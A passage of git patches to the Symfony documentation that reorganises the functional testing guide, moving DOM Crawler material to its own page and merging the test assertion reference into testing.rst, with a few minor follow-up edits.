 _build/redirection_map                  |   1 +
 testing.rst                             | 580 ++++++++++--------------
 testing/dom_crawler.rst                 |  98 ++++
 testing/functional_tests_assertions.rst | 102 -----
 4 files changed, 340 insertions(+), 441 deletions(-)
 create mode 100644 testing/dom_crawler.rst
 delete mode 100644 testing/functional_tests_assertions.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index fe432c55aa1..625066b765a 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -510,3 +510,4 @@
 /messenger/message-recorder messenger/dispatch_after_current_bus
 /components/stopwatch https://github.com/symfony/stopwatch
 /service_container/3.3-di-changes https://symfony.com/doc/3.4/service_container/3.3-di-changes.html
+/testing/functional_tests_assertions /testing#testing-application-assertions
diff --git a/testing.rst b/testing.rst
index 095856fb426..a2bd4ff720e 100644
--- a/testing.rst
+++ b/testing.rst
@@ -417,9 +417,9 @@ application (from the routing to the views). They are no different from
 unit tests or integration tests as far as PHPUnit is concerned, but they
 have a very specific workflow:
 
-#. Make a request;
-#. Click on a link or submit a form;
-#. Test the response;
+#. :ref:`Make a request <testing-applications-arrange>`;
+#. :ref:`Interact with the page <testing-applications-act>` (e.g. click on a link or submit a form);
+#. :Ref:`Test the response <testing-application-assertions>`;
 #. Rinse and repeat.
 
 .. note::
@@ -475,22 +475,22 @@ This creates the following test class::
     }
 
 In the above example, the test validates that the HTTP response was successful
-and the request body contains a ``<h1>`` tag with ``"Hello world"``. The
-``createClient()`` method also returns a client, which is like a browser
-that you can use to crawl your site::
+and the request body contains a ``<h1>`` tag with ``"Hello world"``.
+
+The ``request()`` method also returns a crawler, which you can use to
+create more complex assertions in your tests::
 
     $crawler = $client->request('GET', '/post/hello-world');
 
     // for instance, count the number of ``.comment`` elements on the page
     $this->assertCount(4, $crawler->filter('.comment'));
 
-The ``request()`` method (read
-:ref:`more about the request method <testing-request-method-sidebar>`)
-returns a :class:`Symfony\\Component\\DomCrawler\\Crawler` object which can
-be used to select elements in the response, click on links and submit forms.
+You can learn more about the crawler in :doc:`/testing/dom_crawler`.
 
-Working with the Test Client
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. _testing-applications-arrange:
+
+Making Requests
+~~~~~~~~~~~~~~~
 
 The test client simulates an HTTP client like a browser and makes requests
 into your Symfony application::
@@ -506,109 +506,33 @@ returns a ``Crawler`` instance.
     If the test generates URLs using the Symfony router, it won't detect
     any change made to the application URLs which may impact the end users.
 
-Use the crawler to find DOM elements in the response. These elements can then
-be used to click on links and submit forms::
-
-    $crawler = $client->clickLink('Go elsewhere...');
-
-    $crawler = $client->submitForm('validate', ['name' => 'Fabien']);
-
-The ``clickLink()`` and ``submitForm()`` methods both return a ``Crawler`` object.
-These methods are the best way to browse your application as it takes care
-of a lot of things for you, like detecting the HTTP method from a form and
-giving you a nice API for uploading files.
-
-The ``request()`` method can also be used to simulate form submissions directly
-or perform more complex requests. Some useful examples::
-
-    // submits a form directly (but using the Crawler is easier!)
-    $client->request('POST', '/submit', ['name' => 'Fabien']);
-
-    // submits a raw JSON string in the request body
-    $client->request(
-        'POST',
-        '/submit',
-        [],
-        [],
-        ['CONTENT_TYPE' => 'application/json'],
-        '{"name":"Fabien"}'
-    );
-
-    // Form submission with a file upload
-    use Symfony\Component\HttpFoundation\File\UploadedFile;
-
-    $photo = new UploadedFile(
-        '/path/to/photo.jpg',
-        'photo.jpg',
-        'image/jpeg',
-        null
-    );
-    $client->request(
-        'POST',
-        '/submit',
-        ['name' => 'Fabien'],
-        ['photo' => $photo]
-    );
-
-    // Perform a DELETE request and pass HTTP headers
-    $client->request(
-        'DELETE',
-        '/post/12',
-        [],
-        [],
-        ['PHP_AUTH_USER' => 'username', 'PHP_AUTH_PW' => 'pa$$word']
-    );
-
-Last but not least, you can force each request to be executed in its own PHP
-process to avoid any side effects when working with several clients in the same
-script::
-
-    $client->insulate();
-
-.. _testing-request-method-sidebar:
-
-.. sidebar:: More about the ``request()`` Method:
-
-    The full signature of the ``request()`` method is::
-
-        request(
-            $method,
-            $uri,
-            array $parameters = [],
-            array $files = [],
-            array $server = [],
-            $content = null,
-            $changeHistory = true
-        )
-
-    The ``server`` array is the raw values that you'd expect to normally
-    find in the PHP `$_SERVER`_ superglobal. For example, to set the
-    ``Content-Type`` and ``Referer`` HTTP headers, you'd pass the following (mind
-    the ``HTTP_`` prefix for non standard headers)::
-
-        $client->request(
-            'GET',
-            '/post/hello-world',
-            [],
-            [],
-            [
-                'CONTENT_TYPE' => 'application/json',
-                'HTTP_REFERER' => '/foo/bar',
-            ]
-        );
-
-AJAX Requests
-.............
-
-The Client provides a :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest`
-method, which has the same arguments as the ``request()`` method, and it's a
-shortcut to make AJAX requests::
+The full signature of the ``request()`` method is::
 
-    // the required HTTP_X_REQUESTED_WITH header is added automatically
-    $client->xmlHttpRequest('POST', '/submit', ['name' => 'Fabien']);
+    request(
+        $method,
+        $uri,
+        array $parameters = [],
+        array $files = [],
+        array $server = [],
+        $content = null,
+        $changeHistory = true
+    )
+
+This allows you to create all types of requests you can think of:
+
+.. contents::
+    :local:
+    :depth: 1
+
+.. tip::
 
-Browsing
-........
+    The test client is available as the ``test.client`` service in the
+    container in the ``test`` environment (or wherever the
+    :ref:`framework.test <reference-framework-test>` option is enabled).
+    This means you can override the service entirely if you need to.
+
+Browsing the Site
+.................
 
 The Client supports many operations that can be done in a real browser::
 
@@ -624,53 +548,6 @@ The Client supports many operations that can be done in a real browser::
     The ``back()`` and ``forward()`` methods skip the redirects that may have
     occurred when requesting a URL, as normal browsers do.
 
-Accessing Internal Objects
-..........................
-
-If you use the client to test your application, you might want to access the
-client's internal objects::
-
-    $history = $client->getHistory();
-    $cookieJar = $client->getCookieJar();
-
-You can also get the objects related to the latest request::
-
-    // the HttpKernel request instance
-    $request = $client->getRequest();
-
-    // the BrowserKit request instance
-    $request = $client->getInternalRequest();
-
-    // the HttpKernel response instance
-    $response = $client->getResponse();
-
-    // the BrowserKit response instance
-    $response = $client->getInternalResponse();
-
-    // the Crawler instance
-    $crawler = $client->getCrawler();
-
-Accessing the Profiler Data
-...........................
-
-On each request, you can enable the Symfony profiler to collect data about the
-internal handling of that request. For example, the profiler could be used to
-verify that a given page runs less than a certain number of database
-queries when loading.
-
-To get the Profiler for the last request, do the following::
-
-    // enables the profiler for the very next request
-    $client->enableProfiler();
-
-    $crawler = $client->request('GET', '/profiler');
-
-    // gets the profile
-    $profile = $client->getProfile();
-
-For specific details on using the profiler inside a test, see the
-:doc:`/testing/profiling` article.
-
 Redirecting
 ...........
 
@@ -690,6 +567,17 @@ will no longer be followed::
 
     $client->followRedirects(false);
 
+Making AJAX Requests
+....................
+
+The client provides a
+:method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest`
+method, which has the same arguments as the ``request()`` method and is
+a shortcut to make AJAX requests::
+
+    // the required HTTP_X_REQUESTED_WITH header is added automatically
+    $client->xmlHttpRequest('POST', '/submit', ['name' => 'Fabien']);
+
 Sending Custom Headers
 ......................
 
@@ -715,13 +603,6 @@ You can also override HTTP headers on a per request basis::
     uppercase and prefix the result with ``HTTP_``. For example, if your
     header name is ``X-Session-Token``, pass ``HTTP_X_SESSION_TOKEN``.
 
-.. tip::
-
-    The test client is available as a service in the container in the ``test``
-    environment (or wherever the :ref:`framework.test <reference-framework-test>`
-    option is enabled). This means you can override the service entirely
-    if you need to.
-
 Reporting Exceptions
 ....................
 
@@ -732,167 +613,69 @@ to be reported by PHPUnit::
 
     $client->catchExceptions(false);
 
-Useful Assertions
-~~~~~~~~~~~~~~~~~
+Accessing Internal Objects
+..........................
 
-To get you started faster, here is a list of the most common and
-useful test assertions::
+If you use the client to test your application, you might want to access the
+client's internal objects::
 
-    use Symfony\Component\HttpFoundation\Response;
+    $history = $client->getHistory();
+    $cookieJar = $client->getCookieJar();
 
-    // ...
+You can also get the objects related to the latest request::
 
-    // asserts that there is at least one h2 tag with the class "subtitle"
-    // the third argument is an optional message shown on failed tests
-    $this->assertGreaterThan(0, $crawler->filter('h2.subtitle')->count(),
-        'There is at least one subtitle'
-    );
-
-    // asserts that there are exactly 4 h2 tags on the page
-    $this->assertCount(4, $crawler->filter('h2'));
-
-    // asserts that the "Content-Type" header is "application/json"
-    $this->assertResponseHeaderSame('Content-Type', 'application/json');
-    // equivalent to:
-    $this->assertTrue($client->getResponse()->headers->contains(
-        'Content-Type', 'application/json'
-    ));
-
-    // asserts that the response content contains a string
-    $this->assertContains('foo', $client->getResponse()->getContent());
-    // ...or matches a regex
-    $this->assertRegExp('/foo(bar)?/', $client->getResponse()->getContent());
-
-    // asserts that the response status code is 2xx
-    $this->assertResponseIsSuccessful();
-    // equivalent to:
-    $this->assertTrue($client->getResponse()->isSuccessful());
-
-    // asserts that the response status code is 404 Not Found
-    $this->assertTrue($client->getResponse()->isNotFound());
-
-    // asserts a specific status code
-    $this->assertResponseStatusCodeSame(201);
-    // HTTP status numbers are available as constants too:
-    // e.g. 201 === Symfony\Component\HttpFoundation\Response::HTTP_CREATED
-    // equivalent to:
-    $this->assertEquals(201, $client->getResponse()->getStatusCode());
-
-    // asserts that the response is a redirect to /demo/contact
-    $this->assertResponseRedirects('/demo/contact');
-    // equivalent to:
-    $this->assertTrue($client->getResponse()->isRedirect('/demo/contact'));
-    // ...or check that the response is a redirect to any URL
-    $this->assertResponseRedirects();
+    // the HttpKernel request instance
+    $request = $client->getRequest();
 
-.. versionadded:: 4.3
+    // the BrowserKit request instance
+    $request = $client->getInternalRequest();
 
-    The ``assertResponseHeaderSame()``, ``assertResponseIsSuccessful()``,
-    ``assertResponseStatusCodeSame()``, ``assertResponseRedirects()`` and other
-    related methods were introduced in Symfony 4.3.
+    // the HttpKernel response instance
+    $response = $client->getResponse();
 
-.. index::
-   single: Tests; Crawler
-
-.. _testing-crawler:
-
-The Crawler
-~~~~~~~~~~~
-
-A Crawler instance is returned each time you make a request with the Client.
-It allows you to traverse HTML documents, select nodes, find links and forms.
-
-Traversing
-..........
-
-Like jQuery, the Crawler has methods to traverse the DOM of an HTML/XML
-document. For example, the following finds all ``input[type=submit]`` elements,
-selects the last one on the page, and then selects its immediate parent element::
-
-    $newCrawler = $crawler->filter('input[type=submit]')
-        ->last()
-        ->parents()
-        ->first()
-    ;
-
-Many other methods are also available:
-
-``filter('h1.title')``
-    Nodes that match the CSS selector.
-``filterXpath('h1')``
-    Nodes that match the XPath expression.
-``eq(1)``
-    Node for the specified index.
-``first()``
-    First node.
-``last()``
-    Last node.
-``siblings()``
-    Siblings.
-``nextAll()``
-    All following siblings.
-``previousAll()``
-    All preceding siblings.
-``parents()``
-    Returns the parent nodes.
-``children()``
-    Returns children nodes.
-``reduce($lambda)``
-    Nodes for which the callable does not return false.
-
-Since each of these methods returns a new ``Crawler`` instance, you can
-narrow down your node selection by chaining the method calls::
-
-    $crawler
-        ->filter('h1')
-        ->reduce(function ($node, $i) {
-            if (!$node->attr('class')) {
-                return false;
-            }
-        })
-        ->first()
-    ;
+    // the BrowserKit response instance
+    $response = $client->getInternalResponse();
 
-.. tip::
+    // the Crawler instance
+    $crawler = $client->getCrawler();
 
-    Use the ``count()`` function to get the number of nodes stored in a Crawler:
-    ``count($crawler)``
+Accessing the Profiler Data
+...........................
 
-Extracting Information
-......................
+On each request, you can enable the Symfony profiler to collect data about the
+internal handling of that request. For example, the profiler could be used to
+verify that a given page runs less than a certain number of database
+queries when loading.
 
-The Crawler can extract information from the nodes::
+To get the Profiler for the last request, do the following::
 
-    // returns the attribute value for the first node
-    $crawler->attr('class');
+    // enables the profiler for the very next request
+    $client->enableProfiler();
 
-    // returns the node value for the first node
-    $crawler->text();
+    $crawler = $client->request('GET', '/profiler');
 
-    // returns the default text if the node does not exist
-    $crawler->text('Default text content');
+    // gets the profile
+    $profile = $client->getProfile();
 
-    // pass TRUE as the second argument of text() to remove all extra white spaces, including
-    // the internal ones (e.g. "  foo\n  bar    baz \n " is returned as "foo bar baz")
-    $crawler->text(null, true);
+For specific details on using the profiler inside a test, see the
+:doc:`/testing/profiling` article.
 
-    // extracts an array of attributes for all nodes
-    // (_text returns the node value)
-    // returns an array for each element in crawler,
-    // each with the value and href
-    $info = $crawler->extract(['_text', 'href']);
+.. _testing-applications-act:
 
-    // executes a lambda for each node and return an array of results
-    $data = $crawler->each(function ($node, $i) {
-        return $node->attr('href');
-    });
+Interacting with the Response
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 4.4
+Like a real browser, the Client and Crawler objects can be used to interact
+with the page you're served:
+
+.. contents::
+    :local:
+    :depth: 1
 
-    The option to trim white spaces in ``text()`` was introduced in Symfony 4.4.
+.. _testing-links:
 
-Links
-.....
+Clicking on Links
+.................
 
 Use the ``clickLink()`` method to click on the first link that contains the
 given text (or the first clickable image with that ``alt`` attribute)::
@@ -904,16 +687,21 @@ given text (or the first clickable image with that ``alt`` attribute)::
 
 If you need access to the :class:`Symfony\\Component\\DomCrawler\\Link` object
 that provides helpful methods specific to links (such as ``getMethod()`` and
-``getUri()``), use the ``selectLink()`` method instead::
+``getUri()``), use the ``Crawler::selectLink()`` method instead::
 
     $client = static::createClient();
     $crawler = $client->request('GET', '/post/hello-world');
 
     $link = $crawler->selectLink('Click here')->link();
+    // ...
+
+    // use click() if you want to click the selected link
     $client->click($link);
 
-Forms
-.....
+.. _testing-forms:
+
+Submitting Forms
+................
 
 Use the ``submitForm()`` method to submit the form that contains the given button::
 
@@ -930,60 +718,48 @@ The second optional argument is used to override the default form field values.
 
 .. note::
 
-    Notice that you select form buttons and not forms as a form can have several
-    buttons; if you use the traversing API, keep in mind that you must look for a
+    Notice that you select form buttons and not forms, as a form can have several
+    buttons. If you use the traversing API, keep in mind that you must look for a
     button.
 
 If you need access to the :class:`Symfony\\Component\\DomCrawler\\Form` object
 that provides helpful methods specific to forms (such as ``getUri()``,
-``getValues()`` and ``getFields()``) use the ``selectButton()`` method instead::
+``getValues()`` and ``getFields()``) use the ``Crawler::selectButton()`` method instead::
 
     $client = static::createClient();
     $crawler = $client->request('GET', '/post/hello-world');
 
+    // select the button
     $buttonCrawlerNode = $crawler->selectButton('submit');
 
-    // select the form that contains this button
+    // retrieve the Form object for the form belonging to this button
     $form = $buttonCrawlerNode->form();
 
-    // you can also pass an array of field values that overrides the default ones
-    $form = $buttonCrawlerNode->form([
-        'my_form[name]'    => 'Fabien',
-        'my_form[subject]' => 'Symfony rocks!',
-    ]);
-
-    // you can pass a second argument to override the form HTTP method
-    $form = $buttonCrawlerNode->form([], 'DELETE');
+    // set values on a form object
+    $form['my_form[name]'] = 'Fabien';
+    $form['my_form[subject]'] = 'Symfony rocks!';
 
     // submit the Form object
     $client->submit($form);
 
-The field values can also be passed as a second argument of the ``submit()``
-method::
-
+    // optionally, you can combine the last 2 steps by passing an array of
+    // field values while submitting the form:
     $client->submit($form, [
         'my_form[name]'    => 'Fabien',
         'my_form[subject]' => 'Symfony rocks!',
     ]);
 
-For more complex situations, use the ``Form`` instance as an array to set the
-value of each field individually::
-
-    // changes the value of a field
-    $form['my_form[name]'] = 'Fabien';
-    $form['my_form[subject]'] = 'Symfony rocks!';
-
-There is also a nice API to manipulate the values of the fields according to
-their type::
+Based on the form type, you can use different methods to fill in the
+input::
 
     // selects an option or a radio
-    $form['country']->select('France');
+    $form['my_form[country]']->select('France');
 
     // ticks a checkbox
-    $form['like_symfony']->tick();
+    $form['my_form[like_symfony]']->tick();
 
     // uploads a file
-    $form['photo']->upload('/path/to/lucas.jpg');
+    $form['my_form[photo]']->upload('/path/to/lucas.jpg');
 
     // In the case of a multiple file upload
     $form['my_form[field][0]']->upload('/path/to/lucas.jpg');
@@ -1022,6 +798,131 @@ their type::
         $client->submit($form, [], ['HTTP_ACCEPT_LANGUAGE' => 'es']);
         $client->submitForm($button, [], 'POST', ['HTTP_ACCEPT_LANGUAGE' => 'es']);
 
+.. _testing-application-assertions:
+
+Testing the Response (Assertions)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Now that the tests have visited a page and interacted with it (e.g. filled
+in a form), it is time to verify that the expected output is shown.
+
+As all tests are based on PHPUnit, you can use any `PHPUnit Assertion`_ in
+your tests. Combined with test Client and the Crawler, this allows you to
+check anything you want.
+
+However, Symfony provides useful shortcut methods for the most common cases:
+
+.. contents::
+    :local:
+    :depth: 1
+
+.. versionadded:: 4.3
+
+    The shortcut methods for assertions using ``WebTestCase`` were introduced
+    in Symfony 4.3.
+
+.. versionadded:: 4.4
+
+    Starting from Symfony 4.4, when using `symfony/panther`_ for end-to-end
+    testing, you can use all the following assertions except the ones related to
+    the :doc:`Crawler </components/dom_crawler>`.
+
+Response Assertions
+...................
+
+``assertResponseIsSuccessful(string $message = '')``
+    Asserts that the response was successful (HTTP status is 2xx).
+``assertResponseStatusCodeSame(int $expectedCode, string $message = '')``
+    Asserts a specific HTTP status code.
+``assertResponseRedirects(string $expectedLocation = null, int $expectedCode = null, string $message = '')``
+    Asserts the response is a redirect response (optionally, you can check
+    the target location and status code).
+``assertResponseHasHeader(string $headerName, string $message = '')``/``assertResponseNotHasHeader(string $headerName, string $message = '')``
+    Asserts the given header is (not) available on the response.
+``assertResponseHeaderSame(string $headerName, string $expectedValue, string $message = '')``/``assertResponseHeaderNotSame(string $headerName, string $expectedValue, string $message = '')``
+    Asserts the given header does (not) contain the expected value on the
+    response.
+``assertResponseHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``/``assertResponseNotHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``
+    Asserts the given cookie is present in the response (optionally
+    checking for a specific cookie path or domain).
+``assertResponseCookieValueSame(string $name, string $expectedValue, string $path = '/', string $domain = null, string $message = '')``
+    Asserts the given cookie is present and set to the expected value.
+
+Request Assertions
+..................
+
+``assertRequestAttributeValueSame(string $name, string $expectedValue, string $message = '')``
+    Asserts the given :ref:`request attribute <component-foundation-attributes>`
+    is set to the expected value.
+``assertRouteSame($expectedRoute, array $parameters = [], string $message = '')``
+    Asserts the request matched the given route and optionally route parameters.
+
+Browser Assertions
+..................
+
+``assertBrowserHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``/``assertBrowserNotHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``
+    Asserts that the test Client does (not) have the given cookie set
+    (meaning, the cookie was set by any response in the test).
+``assertBrowserCookieValueSame(string $name, string $expectedValue, string $path = '/', string $domain = null, string $message = '')``
+    Asserts the given cookie in the test Client is set to the expected
+    value.
+
+Crawler Assertions
+..................
+
+``assertSelectorExists(string $selector, string $message = '')``/``assertSelectorNotExists(string $selector, string $message = '')``
+    Asserts that the given selector does (not) match at least one element
+    in the response.
+``assertSelectorTextContains(string $selector, string $text, string $message = '')``/``assertSelectorTextNotContains(string $selector, string $text, string $message = '')``
+    Asserts that the first element matching the given selector does (not)
+    contain the expected text.
+``assertSelectorTextSame(string $selector, string $text, string $message = '')``
+    Asserts that the contents of the first element matching the given
+    selector does (not) equal the expected text.
+``assertPageTitleSame(string $expectedTitle, string $message = '')``
+    Asserts that the ``<title>`` element is equal to the given title.
+``assertPageTitleContains(string $expectedTitle, string $message = '')``
+    Asserts that the ``<title>`` element contains the given title.
+``assertInputValueSame(string $fieldName, string $expectedValue, string $message = '')``/``assertInputValueNotSame(string $fieldName, string $expectedValue, string $message = '')``
+    Asserts that value of the form input with the given name does (not)
+    equal the expected value.
+
+Mailer Assertions
+.................
+
+.. versionadded:: 4.4
+
+    The mailer assert methods were introduced in Symfony 4.4.
+
+``assertEmailCount(int $count, string $transport = null, string $message = '')``
+    Asserts that the expected number of emails was sent.
+``assertQueuedEmailCount(int $count, string $transport = null, string $message = '')``
+    Asserts that the expected number of emails was queued (e.g. using the
+    Messenger component).
+``assertEmailIsQueued(MessageEvent $event, string $message = '')``/``assertEmailIsNotQueued(MessageEvent $event, string $message = '')``
+    Asserts that the given mailer event is (not) queued. Use
+    ``getMailerEvent(int $index = 0, string $transport = null)`` to
+    retrieve a mailer event by index.
+``assertEmailAttachmentCount(RawMessage $email, int $count, string $message = '')``
+    Asserts that the given email has the expected number of attachments. Use
+    ``getMailerMessage(int $index = 0, string $transport = null)`` to
+    retrievea specific email by index.
+``assertEmailTextBodyContains(RawMessage $email, string $text, string $message = '')``/``assertEmailTextBodyNotContains(RawMessage $email, string $text, string $message = '')``
+    Asserts that the text body of the given email does (not) contain the
+    expected text.
+``assertEmailHtmlBodyContains(RawMessage $email, string $text, string $message = '')``/``assertEmailHtmlBodyNotContains(RawMessage $email, string $text, string $message = '')``
+    Asserts that the HTML body of the given email does (not) contain the
+    expected text.
+``assertEmailHasHeader(RawMessage $email, string $headerName, string $message = '')``/``assertEmailNotHasHeader(RawMessage $email, string $headerName, string $message = '')``
+    Asserts that the given email does (not) have the expected header set.
+``assertEmailHeaderSame(RawMessage $email, string $headerName, string $expectedValue, string $message = '')``/``assertEmailHeaderNotSame(RawMessage $email, string $headerName, string $expectedValue, string $message = '')``
+    Asserts that the given email does (not) have the expected header set to
+    the expected value.
+``assertEmailAddressContains(RawMessage $email, string $headerName, string $expectedValue, string $message = '')``
+    Asserts that the given address header equals the expected e-mail
+    address. This assertion normalizes addresses like ``Jane Smith
+    <jane@example.com>`` into ``jane@example.com``.
+
 .. TODO
     End to End Tests (E2E)
     ----------------------
@@ -1114,7 +1015,8 @@ Learn more
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
 .. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
-.. _`$_SERVER`: https://www.php.net/manual/en/reserved.variables.server.php
 .. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`symfony/panther`: https://github.com/symfony/panther
+.. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/stable/assertions.html
 .. _`code coverage analysis`: https://phpunit.readthedocs.io/en/9.1/code-coverage-analysis.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18
diff --git a/testing/dom_crawler.rst b/testing/dom_crawler.rst
new file mode 100644
index 00000000000..9a98ee95aeb
--- /dev/null
+++ b/testing/dom_crawler.rst
@@ -0,0 +1,98 @@
+.. index::
+   single: Tests; Crawler
+
+The DOM Crawler
+===============
+
+A Crawler instance is returned each time you make a request with the Client.
+It allows you to traverse HTML or XML documents: select nodes, find links
+and forms, and retrieve attributes or contents.
+
+Traversing
+----------
+
+Like jQuery, the Crawler has methods to traverse the DOM of an HTML/XML
+document. For example, the following finds all ``input[type=submit]`` elements,
+selects the last one on the page, and then selects its immediate parent element::
+
+    $newCrawler = $crawler->filter('input[type=submit]')
+        ->last()
+        ->parents()
+        ->first()
+    ;
+
+Many other methods are also available:
+
+``filter('h1.title')``
+    Nodes that match the CSS selector.
+``filterXpath('h1')``
+    Nodes that match the XPath expression.
+``eq(1)``
+    Node for the specified index.
+``first()``
+    First node.
+``last()``
+    Last node.
+``siblings()``
+    Siblings.
+``nextAll()``
+    All following siblings.
+``previousAll()``
+    All preceding siblings.
+``parents()``
+    Returns the parent nodes.
+``children()``
+    Returns children nodes.
+``reduce($lambda)``
+    Nodes for which the callable does not return false.
+
+Since each of these methods returns a new ``Crawler`` instance, you can
+narrow down your node selection by chaining the method calls::
+
+    $crawler
+        ->filter('h1')
+        ->reduce(function ($node, $i) {
+            if (!$node->attr('class')) {
+                return false;
+            }
+        })
+        ->first()
+    ;
+
+.. tip::
+
+    Use the ``count()`` function to get the number of nodes stored in a Crawler:
+    ``count($crawler)``
+
+Extracting Information
+----------------------
+
+The Crawler can extract information from the nodes::
+
+    // returns the attribute value for the first node
+    $crawler->attr('class');
+
+    // returns the node value for the first node
+    $crawler->text();
+
+    // returns the default text if the node does not exist
+    $crawler->text('Default text content');
+
+    // pass TRUE as the second argument of text() to remove all extra white spaces, including
+    // the internal ones (e.g. "  foo\n  bar    baz \n " is returned as "foo bar baz")
+    $crawler->text(null, true);
+
+    // extracts an array of attributes for all nodes
+    // (_text returns the node value)
+    // returns an array for each element in crawler,
+    // each with the value and href
+    $info = $crawler->extract(['_text', 'href']);
+
+    // executes a lambda for each node and return an array of results
+    $data = $crawler->each(function ($node, $i) {
+        return $node->attr('href');
+    });
+
+.. versionadded:: 4.4
+
+    The option to trim white spaces in ``text()`` was introduced in Symfony 4.4.
diff --git a/testing/functional_tests_assertions.rst b/testing/functional_tests_assertions.rst
deleted file mode 100644
index 29e4b1e5e3a..00000000000
--- a/testing/functional_tests_assertions.rst
+++ /dev/null
@@ -1,102 +0,0 @@
-.. index::
-   single: Tests; Assertions
-
-Functional Test specific Assertions
-===================================
-
-.. versionadded:: 4.3
-
-    The shortcut methods for assertions using ``WebTestCase`` were introduced
-    in Symfony 4.3.
-
-When doing functional tests, sometimes you need to make complex assertions in
-order to check whether the ``Request``, the ``Response`` or the ``Crawler``
-contain the expected information to make your test succeed.
-
-The following example uses plain PHPUnit to assert that the response redirects
-to a certain URL::
-
-    $this->assertSame(301, $client->getResponse()->getStatusCode());
-    $this->assertSame('https://example.com', $client->getResponse()->headers->get('Location'));
-
-This is the same example using the assertions provided by Symfony::
-
-    $this->assertResponseRedirects('https://example.com', 301);
-
-.. note::
-
-    These assertions only work if a request has been made with the ``Client``
-    in a test case extending the ``WebTestCase`` class.
-
-Assertions Reference
----------------------
-
-.. versionadded:: 4.4
-
-    Starting from Symfony 4.4, when using `symfony/panther`_ for end-to-end
-    testing, you can use all the following assertions except the ones related to
-    the :doc:`Crawler </components/dom_crawler>`.
-
-Response
-~~~~~~~~
-
-- ``assertResponseIsSuccessful()``
-- ``assertResponseStatusCodeSame()``
-- ``assertResponseRedirects()``
-- ``assertResponseHasHeader()``
-- ``assertResponseNotHasHeader()``
-- ``assertResponseHeaderSame()``
-- ``assertResponseHeaderNotSame()``
-- ``assertResponseHasCookie()``
-- ``assertResponseNotHasCookie()``
-- ``assertResponseCookieValueSame()``
-
-Request
-~~~~~~~
-
-- ``assertRequestAttributeValueSame()``
-- ``assertRouteSame()``
-
-Browser
-~~~~~~~
-
-- ``assertBrowserHasCookie()``
-- ``assertBrowserNotHasCookie()``
-- ``assertBrowserCookieValueSame()``
-
-Crawler
-~~~~~~~
-
-- ``assertSelectorExists()``
-- ``assertSelectorNotExists()``
-- ``assertSelectorTextContains()`` (note: it only checks the first selector occurrence)
-- ``assertSelectorTextSame()`` (note: it only checks the first selector occurrence)
-- ``assertSelectorTextNotContains()`` (note: it only checks the first selector occurrence)
-- ``assertPageTitleSame()``
-- ``assertPageTitleContains()``
-- ``assertInputValueSame()``
-- ``assertInputValueNotSame()``
-
-Mailer
-~~~~~~
-
-- ``assertEmailCount()``
-- ``assertQueuedEmailCount()``
-- ``assertEmailIsQueued()``
-- ``assertEmailIsNotQueued()``
-- ``assertEmailAttachmentCount()``
-- ``assertEmailTextBodyContains()``
-- ``assertEmailTextBodyNotContains()``
-- ``assertEmailHtmlBodyContains()``
-- ``assertEmailHtmlBodyNotContains()``
-- ``assertEmailHasHeader()``
-- ``assertEmailNotHasHeader()``
-- ``assertEmailHeaderSame()``
-- ``assertEmailHeaderNotSame()``
-- ``assertEmailAddressContains()``
-
-.. versionadded:: 4.4
-
-    The mailer assert methods were introduced in Symfony 4.4.
-
-.. _`symfony/panther`: https://github.com/symfony/panther

From 19b8d2318d997af810c6b4c456a29419e551fed0 Mon Sep 17 00:00:00 2001
From: iamvar <iamvar@gmail.com>
Date: Sat, 1 May 2021 11:52:17 +0300
Subject: [PATCH 2154/7107] update example for attributes

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index ac6ee533c8c..7f71344a61b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1608,7 +1608,7 @@ and ``BitBucketCodeRepository`` classes:
             'github' => GitHubCodeRepository::class,
             'bitbucket' => BitBucketCodeRepository::class,
         ])]
-        interface CodeRepository
+        abstract class CodeRepository
         {
             // ...
         }

From c9b1e9112a39ff7a2bb2787e8004bd6f46071074 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 May 2021 11:40:16 +0200
Subject: [PATCH 2155/7107] Minor tweak

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 41830d786c5..ea9eab12251 100644
--- a/testing.rst
+++ b/testing.rst
@@ -647,7 +647,7 @@ internal handling of that request. For example, the profiler could be used to
 verify that a given page runs less than a certain number of database
 queries when loading.
 
-To get the Profiler for the last request, do the following::
+To get the profiler for the last request, do the following::
 
     // enables the profiler for the very next request
     $client->enableProfiler();

From 1fb6ce965c054f438ee2f3954f899f7eacef32b3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 May 2021 12:14:40 +0200
Subject: [PATCH 2156/7107] Remove unneeded versionadded directives

---
 testing.rst | 11 -----------
 1 file changed, 11 deletions(-)

diff --git a/testing.rst b/testing.rst
index d354f7899ab..b523c263c7b 100644
--- a/testing.rst
+++ b/testing.rst
@@ -812,17 +812,6 @@ However, Symfony provides useful shortcut methods for the most common cases:
     :local:
     :depth: 1
 
-.. versionadded:: 4.3
-
-    The shortcut methods for assertions using ``WebTestCase`` were introduced
-    in Symfony 4.3.
-
-.. versionadded:: 4.4
-
-    Starting from Symfony 4.4, when using `symfony/panther`_ for end-to-end
-    testing, you can use all the following assertions except the ones related to
